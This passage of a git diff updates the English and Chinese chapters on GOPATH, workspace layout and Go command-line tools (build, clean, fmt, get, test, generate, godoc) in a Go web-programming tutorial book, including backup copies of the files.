for installing remote packages, which is a command called `go get`. It supports most open source communities, including Github, Google Code, BitBucket, and Launchpad. + + go get github.com/astaxie/beedb + +You can use `go get -u …` to update your remote packages and it will automatically install all the dependent packages as well. + +This tool will use different version control tools for different open source platforms. For example, `git` for Github and `hg` for Google Code. Therefore, you have to install these version control tools before you use `go get`. + +After executing the above commands, the directory structure should look like following. + + $GOPATH + src + |-github.com + |-astaxie + |-beedb + pkg + |--${GOOS}_${GOARCH} + |-github.com + |-astaxie + |-beedb.a + +Actually, `go get` clones source code to the $GOPATH/src of the local file system, then executes `go install`. + +You can use remote packages in the same way that we use local packages. + + import "github.com/astaxie/beedb" + +## Directory complete structure + +If you've followed all of the above steps, your directory structure should now look like the following. + + bin/ + mathapp + pkg/ + ${GOOS}_${GOARCH}, such as darwin_amd64, linux_amd64 + mymath.a + github.com/ + astaxie/ + beedb.a + src/ + mathapp + main.go + mymath/ + sqrt.go + github.com/ + astaxie/ + beedb/ + beedb.go + util.go + +Now you are able to see the directory structure clearly; `bin` contains executable files, `pkg` contains compiled files and `src` contains package source files. + +(The format of environment variables in Windows is `%GOPATH%`, however this book mainly follows the Unix-style, so Windows users need to replace these yourself.) + +## Links + +- [Directory](preface.md) +- Previous section: [Installation](01.1.md) +- Next section: [Go commands](01.3.md) diff --git a/en/01.2.md~380a8ee74c41759d8189ad553423467994187253 b/en/01.2.md~380a8ee74c41759d8189ad553423467994187253 new file mode 100644 index 00000000..20eb3f90 --- /dev/null +++ b/en/01.2.md~380a8ee74c41759d8189ad553423467994187253 @@ -0,0 +1,180 @@ +# 1.2 GOPATH与工作空间 + +前面我们在安装Go的时候看到需要设置GOPATH变量,Go从1.1版本开始必须设置这个变量,而且不能和Go的安装目录一样,这个目录用来存放Go源码,Go的可运行文件,以及相应的编译之后的包文件。所以这个目录下面有三个子目录:src、bin、pkg + +## GOPATH设置 + go 命令依赖一个重要的环境变量:$GOPATH + + Windows系统中环境变量的形式为`%GOPATH%`,本书主要使用Unix形式,Windows用户请自行替换。 + + *(注:这个不是Go安装目录。下面以笔者的工作目录为示例,如果你想不一样请把GOPATH替换成你的工作目录。)* + + 在类似 Unix 环境大概这样设置: +```sh +export GOPATH=/home/apple/mygo +``` + 为了方便,应该新建以上文件夹,并且上一行加入到 `.bashrc` 或者 `.zshrc` 或者自己的 `sh` 的配置文件中。 + + Windows 设置如下,新建一个环境变量名称叫做GOPATH: +```sh + GOPATH=c:\mygo +``` +GOPATH允许多个目录,当有多个目录时,请注意分隔符,多个目录的时候Windows是分号,Linux系统是冒号,当有多个GOPATH时,默认会将go get的内容放在第一个目录下。 + + +以上 $GOPATH 目录约定有三个子目录: + +- src 存放源代码(比如:.go .c .h .s等) +- pkg 编译后生成的文件(比如:.a) +- bin 编译后生成的可执行文件(为了方便,可以把此目录加入到 $PATH 变量中,如果有多个gopath,那么使用`${GOPATH//://bin:}/bin`添加所有的bin目录) + +以后我所有的例子都是以mygo作为我的gopath目录 + + +## 代码目录结构规划 +GOPATH下的src目录就是接下来开发程序的主要目录,所有的源码都是放在这个目录下面,那么一般我们的做法就是一个目录一个项目,例如: $GOPATH/src/mymath 表示mymath这个应用包或者可执行应用,这个根据package是main还是其他来决定,main的话就是可执行应用,其他的话就是应用包,这个会在后续详细介绍package。 + + +所以当新建应用或者一个代码包时都是在src目录下新建一个文件夹,文件夹名称一般是代码包名称,当然也允许多级目录,例如在src下面新建了目录$GOPATH/src/github.com/astaxie/beedb 那么这个包路径就是"github.com/astaxie/beedb",包名称是最后一个目录beedb + +下面我就以mymath为例来讲述如何编写应用包,执行如下代码 +```sh +cd $GOPATH/src +mkdir mymath +``` + +新建文件sqrt.go,内容如下 +```go +// $GOPATH/src/mymath/sqrt.go源码如下: +package mymath + +func Sqrt(x float64) float64 { + z := 0.0 + for i := 0; i < 1000; i++ { + z -= (z*z - x) / (2 * x) + } + return z +} +``` +这样我的应用包目录和代码已经新建完毕,注意:一般建议package的名称和目录名保持一致 + +## 编译应用 +上面我们已经建立了自己的应用包,如何进行编译安装呢?有两种方式可以进行安装 + +1、只要进入对应的应用包目录,然后执行`go install`,就可以安装了 + +2、在任意的目录执行如下代码`go install mymath` + +安装完之后,我们可以进入如下目录 +```sh +cd $GOPATH/pkg/${GOOS}_${GOARCH} +//可以看到如下文件 +mymath.a +``` +这个.a文件是应用包,那么我们如何进行调用呢? + +接下来我们新建一个应用程序来调用这个应用包 + +新建应用包mathapp +```sh +cd $GOPATH/src +mkdir mathapp +cd mathapp +vim main.go +``` + +`$GOPATH/src/mathapp/main.go`源码: +```go +package main + +import ( + "mymath" + "fmt" +) + +func main() { + fmt.Printf("Hello, world. Sqrt(2) = %v\n", mymath.Sqrt(2)) +} +``` + +可以看到这个的package是`main`,import里面调用的包是`mymath`,这个就是相对于`$GOPATH/src`的路径,如果是多级目录,就在import里面引入多级目录,如果你有多个GOPATH,也是一样,Go会自动在多个`$GOPATH/src`中寻找。 + +如何编译程序呢?进入该应用目录,然后执行`go build`,那么在该目录下面会生成一个mathapp的可执行文件 +```sh +./mathapp +``` + +输出如下内容 +```sh +Hello, world. Sqrt(2) = 1.414213562373095 +``` + +如何安装该应用,进入该目录执行`go install`,那么在$GOPATH/bin/下增加了一个可执行文件mathapp, 还记得前面我们把`$GOPATH/bin`加到我们的PATH里面了,这样可以在命令行输入如下命令就可以执行 + +```sh +mathapp +``` + +也是输出如下内容 + + Hello, world. Sqrt(2) = 1.414213562373095 + +这里我们展示如何编译和安装一个可运行的应用,以及如何设计我们的目录结构。 + +## 获取远程包 + go语言有一个获取远程包的工具就是`go get`,目前go get支持多数开源社区(例如:github、googlecode、bitbucket、Launchpad) + + go get github.com/astaxie/beedb + +>go get -u 参数可以自动更新包,而且当go get的时候会自动获取该包依赖的其他第三方包 + +通过这个命令可以获取相应的源码,对应的开源平台采用不同的源码控制工具,例如github采用git、googlecode采用hg,所以要想获取这些源码,必须先安装相应的源码控制工具 + +通过上面获取的代码在我们本地的源码相应的代码结构如下 + + $GOPATH + src + |--github.com + |-astaxie + |-beedb + pkg + |--相应平台 + |-github.com + |--astaxie + |beedb.a + +go get本质上可以理解为首先第一步是通过源码工具clone代码到src下面,然后执行`go install` + +在代码中如何使用远程包,很简单的就是和使用本地包一样,只要在开头import相应的路径就可以 + + import "github.com/astaxie/beedb" + +## 程序的整体结构 +通过上面建立的我本地的mygo的目录结构如下所示 + + bin/ + mathapp + pkg/ + 平台名/ 如:darwin_amd64、linux_amd64 + mymath.a + github.com/ + astaxie/ + beedb.a + src/ + mathapp + main.go + mymath/ + sqrt.go + github.com/ + astaxie/ + beedb/ + beedb.go + util.go + +从上面的结构我们可以很清晰的看到,bin目录下面存的是编译之后可执行的文件,pkg下面存放的是应用包,src下面保存的是应用源代码 + + +## links + * [目录]() + * 上一节: [GO安装](<01.1.md>) + * 下一节: [GO 命令](<01.3.md>) diff --git a/en/01.3.md b/en/01.3.md index 97d3cac0..0de241e5 100644 --- a/en/01.3.md +++ b/en/01.3.md @@ -1,204 +1,104 @@ -# 1.3 Go 命令 - -## Go 命令 - - Go语言自带有一套完整的命令操作工具,你可以通过在命令行中执行`go`来查看它们: - - ![](images/1.1.mac.png?raw=true) - -图1.3 Go命令显示详细的信息 - - 这些命令对于我们平时编写的代码非常有用,接下来就让我们了解一些常用的命令。 - -## go build - - 这个命令主要用于编译代码。在包的编译过程中,若有必要,会同时编译与之相关联的包。 - - - 如果是普通包,就像我们在1.2节中编写的`mymath`包那样,当你执行`go build`之后,它不会产生任何文件。如果你需要在`$GOPATH/pkg`下生成相应的文件,那就得执行`go install`。 - - - 如果是`main`包,当你执行`go build`之后,它就会在当前目录下生成一个可执行文件。如果你需要在`$GOPATH/bin`下生成相应的文件,需要执行`go install`,或者使用`go build -o 路径/a.exe`。 - - - 如果某个项目文件夹下有多个文件,而你只想编译某个文件,就可在`go build`之后加上文件名,例如`go build a.go`;`go build`命令默认会编译当前目录下的所有go文件。 - - - 你也可以指定编译输出的文件名。例如1.2节中的`mathapp`应用,我们可以指定`go build -o astaxie.exe`,默认情况是你的package名(非main包),或者是第一个源文件的文件名(main包)。 - - (注:实际上,package名在[Go语言规范](https://golang.org/ref/spec)中指代码中“package”后使用的名称,此名称可以与文件夹名不同。默认生成的可执行文件名是文件夹名。) - - - go build会忽略目录下以“_”或“.”开头的go文件。 - - - 如果你的源代码针对不同的操作系统需要不同的处理,那么你可以根据不同的操作系统后缀来命名文件。例如有一个读取数组的程序,它对于不同的操作系统可能有如下几个源文件: - - array_linux.go - array_darwin.go - array_windows.go - array_freebsd.go - - `go build`的时候会选择性地编译以系统名结尾的文件(Linux、Darwin、Windows、Freebsd)。例如Linux系统下面编译只会选择array_linux.go文件,其它系统命名后缀文件全部忽略。 - -参数的介绍 - -- `-o` 指定输出的文件名,可以带上路径,例如 `go build -o a/b/c` -- `-i` 安装相应的包,编译+`go install` -- `-a` 更新全部已经是最新的包的,但是对标准包不适用 -- `-n` 把需要执行的编译命令打印出来,但是不执行,这样就可以很容易的知道底层是如何运行的 -- `-p n` 指定可以并行可运行的编译数目,默认是CPU数目 -- `-race` 开启编译的时候自动检测数据竞争的情况,目前只支持64位的机器 -- `-v` 打印出来我们正在编译的包名 -- `-work` 打印出来编译时候的临时文件夹名称,并且如果已经存在的话就不要删除 -- `-x` 打印出来执行的命令,其实就是和`-n`的结果类似,只是这个会执行 -- `-ccflags 'arg list'` 传递参数给5c, 6c, 8c 调用 -- `-compiler name` 指定相应的编译器,gccgo还是gc -- `-gccgoflags 'arg list'` 传递参数给gccgo编译连接调用 -- `-gcflags 'arg list'` 传递参数给5g, 6g, 8g 调用 -- `-installsuffix suffix` 为了和默认的安装包区别开来,采用这个前缀来重新安装那些依赖的包,`-race`的时候默认已经是`-installsuffix race`,大家可以通过`-n`命令来验证 -- `-ldflags 'flag list'` 传递参数给5l, 6l, 8l 调用 -- `-tags 'tag list'` 设置在编译的时候可以适配的那些tag,详细的tag限制参考里面的 [Build Constraints](http://golang.org/pkg/go/build/) - -## go clean - - 这个命令是用来移除当前源码包和关联源码包里面编译生成的文件。这些文件包括 - - _obj/ 旧的object目录,由Makefiles遗留 - _test/ 旧的test目录,由Makefiles遗留 - _testmain.go 旧的gotest文件,由Makefiles遗留 - test.out 旧的test记录,由Makefiles遗留 - build.out 旧的test记录,由Makefiles遗留 - *.[568ao] object文件,由Makefiles遗留 - - DIR(.exe) 由go build产生 - DIR.test(.exe) 由go test -c产生 - MAINFILE(.exe) 由go build MAINFILE.go产生 - *.so 由 SWIG 产生 - - 我一般都是利用这个命令清除编译文件,然后github递交源码,在本机测试的时候这些编译文件都是和系统相关的,但是对于源码管理来说没必要。 - - $ go clean -i -n - cd /Users/astaxie/develop/gopath/src/mathapp - rm -f mathapp mathapp.exe mathapp.test mathapp.test.exe app app.exe - rm -f /Users/astaxie/develop/gopath/bin/mathapp - -参数介绍 - -- `-i` 清除关联的安装的包和可运行文件,也就是通过go install安装的文件 -- `-n` 把需要执行的清除命令打印出来,但是不执行,这样就可以很容易的知道底层是如何运行的 -- `-r` 循环的清除在import中引入的包 -- `-x` 打印出来执行的详细命令,其实就是`-n`打印的执行版本 - -## go fmt - - 有过C/C++经验的读者会知道,一些人经常为代码采取K&R风格还是ANSI风格而争论不休。在go中,代码则有标准的风格。由于之前已经有的一些习惯或其它的原因我们常将代码写成ANSI风格或者其它更合适自己的格式,这将为人们在阅读别人的代码时添加不必要的负担,所以go强制了代码格式(比如左大括号必须放在行尾),不按照此格式的代码将不能编译通过,为了减少浪费在排版上的时间,go工具集中提供了一个`go fmt`命令 它可以帮你格式化你写好的代码文件,使你写代码的时候不需要关心格式,你只需要在写完之后执行`go fmt <文件名>.go`,你的代码就被修改成了标准格式,但是我平常很少用到这个命令,因为开发工具里面一般都带了保存时候自动格式化功能,这个功能其实在底层就是调用了`go fmt`。接下来的一节我将讲述两个工具,这两个工具都自带了保存文件时自动化`go fmt`功能。 - -使用go fmt命令,其实是调用了gofmt,而且需要参数-w,否则格式化结果不会写入文件。gofmt -w -l src,可以格式化整个项目。 - -所以go fmt是gofmt的上层一个包装的命令,我们想要更多的个性化的格式化可以参考 [gofmt](http://golang.org/cmd/gofmt/) - -gofmt的参数介绍 - -- `-l` 显示那些需要格式化的文件 -- `-w` 把改写后的内容直接写入到文件中,而不是作为结果打印到标准输出。 -- `-r` 添加形如“a[b:len(a)] -> a[b:]”的重写规则,方便我们做批量替换 -- `-s` 简化文件中的代码 -- `-d` 显示格式化前后的diff而不是写入文件,默认是false -- `-e` 打印所有的语法错误到标准输出。如果不使用此标记,则只会打印不同行的前10个错误。 -- `-cpuprofile` 支持调试模式,写入相应的cpufile到指定的文件 - -## go get - - 这个命令是用来动态获取远程代码包的,目前支持的有BitBucket、GitHub、Google Code和Launchpad。这个命令在内部实际上分成了两步操作:第一步是下载源码包,第二步是执行`go install`。下载源码包的go工具会自动根据不同的域名调用不同的源码工具,对应关系如下: - - BitBucket (Mercurial Git) - GitHub (Git) - Google Code Project Hosting (Git, Mercurial, Subversion) - Launchpad (Bazaar) - - 所以为了`go get` 能正常工作,你必须确保安装了合适的源码管理工具,并同时把这些命令加入你的PATH中。其实`go get`支持自定义域名的功能,具体参见`go help remote`。 - -参数介绍: - -- `-d` 只下载不安装 -- `-f` 只有在你包含了`-u`参数的时候才有效,不让`-u`去验证import中的每一个都已经获取了,这对于本地fork的包特别有用 -- `-fix` 在获取源码之后先运行fix,然后再去做其他的事情 -- `-t` 同时也下载需要为运行测试所需要的包 -- `-u` 强制使用网络去更新包和它的依赖包 -- `-v` 显示执行的命令 - -## go install - - 这个命令在内部实际上分成了两步操作:第一步是生成结果文件(可执行文件或者.a包),第二步会把编译好的结果移到`$GOPATH/pkg`或者`$GOPATH/bin`。 - -参数支持`go build`的编译参数。大家只要记住一个参数`-v`就好了,这个随时随地的可以查看底层的执行信息。 - -## go test - - 执行这个命令,会自动读取源码目录下面名为`*_test.go`的文件,生成并运行测试用的可执行文件。输出的信息类似 - - ok archive/tar 0.011s - FAIL archive/zip 0.022s - ok compress/gzip 0.033s - ... - - 默认的情况下,不需要任何的参数,它会自动把你源码包下面所有test文件测试完毕,当然你也可以带上参数,详情请参考`go help testflag` - -这里我介绍几个我们常用的参数: - -- `-bench regexp` 执行相应的benchmarks,例如 `-bench=.` -- `-cover` 开启测试覆盖率 -- `-run regexp` 只运行regexp匹配的函数,例如 `-run=Array` 那么就执行包含有Array开头的函数 -- `-v` 显示测试的详细命令 - -## go tool -`go tool`下面下载聚集了很多命令,这里我们只介绍两个,fix和vet - -- `go tool fix .` 用来修复以前老版本的代码到新版本,例如go1之前老版本的代码转化到go1,例如API的变化 -- `go tool vet directory|files` 用来分析当前目录的代码是否都是正确的代码,例如是不是调用fmt.Printf里面的参数不正确,例如函数里面提前return了然后出现了无用代码之类的。 - -## go generate -这个命令是从Go1.4开始才设计的,用于在编译前自动化生成某类代码。`go generate`和`go build`是完全不一样的命令,通过分析源码中特殊的注释,然后执行相应的命令。这些命令都是很明确的,没有任何的依赖在里面。而且大家在用这个之前心里面一定要有一个理念,这个`go generate`是给你用的,不是给使用你这个包的人用的,是方便你来生成一些代码的。 - -这里我们来举一个简单的例子,例如我们经常会使用`yacc`来生成代码,那么我们常用这样的命令: - - go tool yacc -o gopher.go -p parser gopher.y - --o 指定了输出的文件名, -p指定了package的名称,这是一个单独的命令,如果我们想让`go generate`来触发这个命令,那么就可以在当然目录的任意一个`xxx.go`文件里面的任意位置增加一行如下的注释: - - //go:generate go tool yacc -o gopher.go -p parser gopher.y - -这里我们注意了,`//go:generate`是没有任何空格的,这其实就是一个固定的格式,在扫描源码文件的时候就是根据这个来判断的。 - -所以我们可以通过如下的命令来生成,编译,测试。如果`gopher.y`文件有修改,那么就重新执行`go generate`重新生成文件就好。 - - $ go generate - $ go build - $ go test - - -## godoc - -在Go1.2版本之前还支持`go doc`命令,但是之后全部移到了godoc这个命令下,需要这样安装`go get golang.org/x/tools/cmd/godoc` - - 很多人说go不需要任何的第三方文档,例如chm手册之类的(其实我已经做了一个了,[chm手册](https://github.com/astaxie/godoc)),因为它内部就有一个很强大的文档工具。 - - 如何查看相应package的文档呢? - 例如builtin包,那么执行`godoc builtin` - 如果是http包,那么执行`godoc net/http` - 查看某一个包里面的函数,那么执行`godoc fmt Printf` - 也可以查看相应的代码,执行`godoc -src fmt Printf` - - 通过命令在命令行执行 godoc -http=:端口号 比如`godoc -http=:8080`。然后在浏览器中打开`127.0.0.1:8080`,你将会看到一个golang.org的本地copy版本,通过它你可以查询pkg文档等其它内容。如果你设置了GOPATH,在pkg分类下,不但会列出标准包的文档,还会列出你本地`GOPATH`中所有项目的相关文档,这对于经常被墙的用户来说是一个不错的选择。 - -## 其它命令 - - go还提供了其它很多的工具,例如下面的这些工具 - - go version 查看go当前的版本 - go env 查看当前go的环境变量 - go list 列出当前全部安装的package - go run 编译并运行Go程序 - -以上这些工具还有很多参数没有一一介绍,用户可以使用`go help 命令`获取更详细的帮助信息。 - - -## links - * [目录]() - * 上一节: [GOPATH与工作空间](<01.2.md>) - * 下一节: [Go开发工具](<01.4.md>) +#1.3 Go commands + +## Go commands + +The Go language comes with a complete set of command operation tools. You can execute the command line `go` to see them: + +![](images/1.3.go.png?raw=true) + +Figure 1.3 Go command displays detailed information + +These are all useful for us. Let's see how to use some of them. + +## go build + +This command is for compiling tests. It will compile dependence packages if it's necessary. + +- If the package is not the `main` package such as `mymath` in section 1.2, nothing will be generated after you execute `go build`. If you need package file `.a` in `$GOPATH/pkg`, use `go install` instead. +- If the package is the `main` package, it will generate an executable file in the same folder. If you want the file to be generated in `$GOPATH/bin`, use `go install` or `go build -o ${PATH_HERE}/a.exe.` +- If there are many files in the folder, but you just want to compile one of them, you should append the file name after `go build`. For example, `go build a.go`. `go build` will compile all the files in the folder. +- You can also assign the name of the file that will be generated. For instance, in the `mathapp` project (in section 1.2), using `go build -o astaxie.exe` will generate `astaxie.exe` instead of `mathapp.exe`. The default name is your folder name (non-main package) or the first source file name (main package). + +(According to [The Go Programming Language Specification](https://golang.org/ref/spec), package names should be the name after the word `package` in the first line of your source files. It doesn't have to be the same as the folder name, and the executable file name will be your folder name by default.]) + +- `go build` ignores files whose names start with `_` or `.`. +- If you want to have different source files for every operating system, you can name files with the system name as a suffix. Suppose there are some source files for loading arrays. They could be named as follows: + + array_linux.go | array_darwin.go | array_windows.go | array_freebsd.go + +`go build` chooses the one that's associated with your operating system. For example, it only compiles array_linux.go in Linux systems, and ignores all the others. + +## go clean + +This command is for cleaning files that are generated by compilers, including the following files: + + _obj/ // old directory of object, left by Makefiles + _test/ // old directory of test, left by Makefiles + _testmain.go // old directory of gotest, left by Makefiles + test.out // old directory of test, left by Makefiles + build.out // old directory of test, left by Makefiles + *.[568ao] // object files, left by Makefiles + + DIR(.exe) // generated by go build + DIR.test(.exe) // generated by go test -c + MAINFILE(.exe) // generated by go build MAINFILE.go + +I usually use this command to clean up my files before I upload my project to Github. These are useful for local tests, but useless for version control. + +## go fmt + +The people who are working with C/C++ should know that people are always arguing about which code style is better: K&R-style or ANSI-style. However in Go, there is only one code style which is enforced. For example, left braces must only be inserted at the end of lines, and they cannot be on their own lines, otherwise you will get compile errors! Fortunately, you don't have to remember these rules. `go fmt` does this job for you. Just execute the command `go fmt .go` in terminal. I don't use this command very much because IDEs usually execute this command automatically when you save source files. I will talk about IDEs more in the next section. + +We usually use `gofmt -w` instead of `go fmt`. The latter will not rewrite your source files after formatting code. `gofmt -w src` formats the whole project. + +## go get + +This command is for getting remote packages. So far, it supports BitBucket, Github, Google Code and Launchpad. There are actually two things that happen after we execute this command. The first thing is that Go downloads the source code, then executes `go install`. Before you use this command, make sure you have installed all of the related tools. + + BitBucket (Mercurial Git) + Github (git) + Google Code (Git, Mercurial, Subversion) + Launchpad (Bazaar) + +In order to use this command, you have to install these tools correctly. Don't forget to set `$PATH`. By the way, it also supports customized domain names. Use `go help remote` for more details about this. + +## go install + +This command compiles all packages and generates files, then moves them to `$GOPATH/pkg` or `$GOPATH/bin`. + +## go test + +This command loads all files whose name include `*_test.go` and generates test files, then prints information that looks like the following. + + ok archive/tar 0.011s + FAIL archive/zip 0.022s + ok compress/gzip 0.033s + ... + +It tests all your test files by default. Use command `go help testflag` for more details. + +## go doc + +Many people say that we don't need any third-party documentation for programming in Go (actually I've made a [CHM](https://github.com/astaxie/godoc) already). Go has a powerful tool to manage documentation natively. + +So how do we look up package information in documentation? For instance, if you want to get more details about the `builtin` package, use the `go doc builtin` command. Similarly, use the `go doc net/http` command to look up the `http` package documentation. If you want to see more details about specific functions, use the `godoc fmt Printf` and `godoc -src fmt Printf` commands to view the source code. + +Execute the `godoc -http=:8080` command, then open `127.0.0.1:8080` in your browser. You should see a localized golang.org. It can not only show the standard packages' information, but also packages in your `$GOPATH/pkg`. It's great for people who are suffering from the Great Firewall of China. + +## Other commands + +Go provides more commands then those we've just talked about. + + go fix // upgrade code from an old version before go1 to a new version after go1 + go version // get information about your version of Go + go env // view environment variables about Go + go list // list all installed packages + go run // compile temporary files and run the application + +There are also more details about the commands that I've talked about. You can use `go help ` to look them up. + +## Links + +- [Directory](preface.md) +- Previous section: [$GOPATH and workspace](01.2.md) +- Next section: [Go development tools](01.4.md) diff --git a/en/01.3.md~380a8ee74c41759d8189ad553423467994187253 b/en/01.3.md~380a8ee74c41759d8189ad553423467994187253 new file mode 100644 index 00000000..207d5b87 --- /dev/null +++ b/en/01.3.md~380a8ee74c41759d8189ad553423467994187253 @@ -0,0 +1,204 @@ +# 1.3 Go 命令 + +## Go 命令 + + Go语言自带有一套完整的命令操作工具,你可以通过在命令行中执行`go`来查看它们: + + ![](images/1.1.mac.png?raw=true) + +图1.3 Go命令显示详细的信息 + + 这些命令对于我们平时编写的代码非常有用,接下来就让我们了解一些常用的命令。 + +## go build + + 这个命令主要用于编译代码。在包的编译过程中,若有必要,会同时编译与之相关联的包。 + + - 如果是普通包,就像我们在1.2节中编写的`mymath`包那样,当你执行`go build`之后,它不会产生任何文件。如果你需要在`$GOPATH/pkg`下生成相应的文件,那就得执行`go install`。 + + - 如果是`main`包,当你执行`go build`之后,它就会在当前目录下生成一个可执行文件。如果你需要在`$GOPATH/bin`下生成相应的文件,需要执行`go install`,或者使用`go build -o 路径/a.exe`。 + + - 如果某个项目文件夹下有多个文件,而你只想编译某个文件,就可在`go build`之后加上文件名,例如`go build a.go`;`go build`命令默认会编译当前目录下的所有go文件。 + + - 你也可以指定编译输出的文件名。例如1.2节中的`mathapp`应用,我们可以指定`go build -o astaxie.exe`,默认情况是你的package名(非main包),或者是第一个源文件的文件名(main包)。 + + (注:实际上,package名在[Go语言规范](https://golang.org/ref/spec)中指代码中“package”后使用的名称,此名称可以与文件夹名不同。默认生成的可执行文件名是文件夹名。) + + - go build会忽略目录下以“_”或“.”开头的go文件。 + + - 如果你的源代码针对不同的操作系统需要不同的处理,那么你可以根据不同的操作系统后缀来命名文件。例如有一个读取数组的程序,它对于不同的操作系统可能有如下几个源文件: + + array_linux.go + array_darwin.go + array_windows.go + array_freebsd.go + + `go build`的时候会选择性地编译以系统名结尾的文件(Linux、Darwin、Windows、Freebsd)。例如Linux系统下面编译只会选择array_linux.go文件,其它系统命名后缀文件全部忽略。 + +参数的介绍 + +- `-o` 指定输出的文件名,可以带上路径,例如 `go build -o a/b/c` +- `-i` 安装相应的包,编译+`go install` +- `-a` 更新全部已经是最新的包的,但是对标准包不适用 +- `-n` 把需要执行的编译命令打印出来,但是不执行,这样就可以很容易的知道底层是如何运行的 +- `-p n` 指定可以并行可运行的编译数目,默认是CPU数目 +- `-race` 开启编译的时候自动检测数据竞争的情况,目前只支持64位的机器 +- `-v` 打印出来我们正在编译的包名 +- `-work` 打印出来编译时候的临时文件夹名称,并且如果已经存在的话就不要删除 +- `-x` 打印出来执行的命令,其实就是和`-n`的结果类似,只是这个会执行 +- `-ccflags 'arg list'` 传递参数给5c, 6c, 8c 调用 +- `-compiler name` 指定相应的编译器,gccgo还是gc +- `-gccgoflags 'arg list'` 传递参数给gccgo编译连接调用 +- `-gcflags 'arg list'` 传递参数给5g, 6g, 8g 调用 +- `-installsuffix suffix` 为了和默认的安装包区别开来,采用这个前缀来重新安装那些依赖的包,`-race`的时候默认已经是`-installsuffix race`,大家可以通过`-n`命令来验证 +- `-ldflags 'flag list'` 传递参数给5l, 6l, 8l 调用 +- `-tags 'tag list'` 设置在编译的时候可以适配的那些tag,详细的tag限制参考里面的 [Build Constraints](http://golang.org/pkg/go/build/) + +## go clean + + 这个命令是用来移除当前源码包和关联源码包里面编译生成的文件。这些文件包括 + + _obj/ 旧的object目录,由Makefiles遗留 + _test/ 旧的test目录,由Makefiles遗留 + _testmain.go 旧的gotest文件,由Makefiles遗留 + test.out 旧的test记录,由Makefiles遗留 + build.out 旧的test记录,由Makefiles遗留 + *.[568ao] object文件,由Makefiles遗留 + + DIR(.exe) 由go build产生 + DIR.test(.exe) 由go test -c产生 + MAINFILE(.exe) 由go build MAINFILE.go产生 + *.so 由 SWIG 产生 + + 我一般都是利用这个命令清除编译文件,然后github递交源码,在本机测试的时候这些编译文件都是和系统相关的,但是对于源码管理来说没必要。 + + $ go clean -i -n + cd /Users/astaxie/develop/gopath/src/mathapp + rm -f mathapp mathapp.exe mathapp.test mathapp.test.exe app app.exe + rm -f /Users/astaxie/develop/gopath/bin/mathapp + +参数介绍 + +- `-i` 清除关联的安装的包和可运行文件,也就是通过go install安装的文件 +- `-n` 把需要执行的清除命令打印出来,但是不执行,这样就可以很容易的知道底层是如何运行的 +- `-r` 循环的清除在import中引入的包 +- `-x` 打印出来执行的详细命令,其实就是`-n`打印的执行版本 + +## go fmt + + 有过C/C++经验的读者会知道,一些人经常为代码采取K&R风格还是ANSI风格而争论不休。在go中,代码则有标准的风格。由于之前已经有的一些习惯或其它的原因我们常将代码写成ANSI风格或者其它更合适自己的格式,这将为人们在阅读别人的代码时添加不必要的负担,所以go强制了代码格式(比如左大括号必须放在行尾),不按照此格式的代码将不能编译通过,为了减少浪费在排版上的时间,go工具集中提供了一个`go fmt`命令 它可以帮你格式化你写好的代码文件,使你写代码的时候不需要关心格式,你只需要在写完之后执行`go fmt <文件名>.go`,你的代码就被修改成了标准格式,但是我平常很少用到这个命令,因为开发工具里面一般都带了保存时候自动格式化功能,这个功能其实在底层就是调用了`go fmt`。接下来的一节我将讲述两个工具,这两个工具都自带了保存文件时自动化`go fmt`功能。 + +使用go fmt命令,其实是调用了gofmt,而且需要参数-w,否则格式化结果不会写入文件。gofmt -w -l src,可以格式化整个项目。 + +所以go fmt是gofmt的上层一个包装的命令,我们想要更多的个性化的格式化可以参考 [gofmt](http://golang.org/cmd/gofmt/) + +gofmt的参数介绍 + +- `-l` 显示那些需要格式化的文件 +- `-w` 把改写后的内容直接写入到文件中,而不是作为结果打印到标准输出。 +- `-r` 添加形如“a[b:len(a)] -> a[b:]”的重写规则,方便我们做批量替换 +- `-s` 简化文件中的代码 +- `-d` 显示格式化前后的diff而不是写入文件,默认是false +- `-e` 打印所有的语法错误到标准输出。如果不使用此标记,则只会打印不同行的前10个错误。 +- `-cpuprofile` 支持调试模式,写入相应的cpufile到指定的文件 + +## go get + + 这个命令是用来动态获取远程代码包的,目前支持的有BitBucket、GitHub、Google Code和Launchpad。这个命令在内部实际上分成了两步操作:第一步是下载源码包,第二步是执行`go install`。下载源码包的go工具会自动根据不同的域名调用不同的源码工具,对应关系如下: + + BitBucket (Mercurial Git) + GitHub (Git) + Google Code Project Hosting (Git, Mercurial, Subversion) + Launchpad (Bazaar) + + 所以为了`go get` 能正常工作,你必须确保安装了合适的源码管理工具,并同时把这些命令加入你的PATH中。其实`go get`支持自定义域名的功能,具体参见`go help remote`。 + +参数介绍: + +- `-d` 只下载不安装 +- `-f` 只有在你包含了`-u`参数的时候才有效,不让`-u`去验证import中的每一个都已经获取了,这对于本地fork的包特别有用 +- `-fix` 在获取源码之后先运行fix,然后再去做其他的事情 +- `-t` 同时也下载需要为运行测试所需要的包 +- `-u` 强制使用网络去更新包和它的依赖包 +- `-v` 显示执行的命令 + +## go install + + 这个命令在内部实际上分成了两步操作:第一步是生成结果文件(可执行文件或者.a包),第二步会把编译好的结果移到`$GOPATH/pkg`或者`$GOPATH/bin`。 + +参数支持`go build`的编译参数。大家只要记住一个参数`-v`就好了,这个随时随地的可以查看底层的执行信息。 + +## go test + + 执行这个命令,会自动读取源码目录下面名为`*_test.go`的文件,生成并运行测试用的可执行文件。输出的信息类似 + + ok archive/tar 0.011s + FAIL archive/zip 0.022s + ok compress/gzip 0.033s + ... + + 默认的情况下,不需要任何的参数,它会自动把你源码包下面所有test文件测试完毕,当然你也可以带上参数,详情请参考`go help testflag` + +这里我介绍几个我们常用的参数: + +- `-bench regexp` 执行相应的benchmarks,例如 `-bench=.` +- `-cover` 开启测试覆盖率 +- `-run regexp` 只运行regexp匹配的函数,例如 `-run=Array` 那么就执行包含有Array开头的函数 +- `-v` 显示测试的详细命令 + +## go tool +`go tool`下面下载聚集了很多命令,这里我们只介绍两个,fix和vet + +- `go tool fix .` 用来修复以前老版本的代码到新版本,例如go1之前老版本的代码转化到go1,例如API的变化 +- `go tool vet directory|files` 用来分析当前目录的代码是否都是正确的代码,例如是不是调用fmt.Printf里面的参数不正确,例如函数里面提前return了然后出现了无用代码之类的。 + +## go generate +这个命令是从Go1.4开始才设计的,用于在编译前自动化生成某类代码。`go generate`和`go build`是完全不一样的命令,通过分析源码中特殊的注释,然后执行相应的命令。这些命令都是很明确的,没有任何的依赖在里面。而且大家在用这个之前心里面一定要有一个理念,这个`go generate`是给你用的,不是给使用你这个包的人用的,是方便你来生成一些代码的。 + 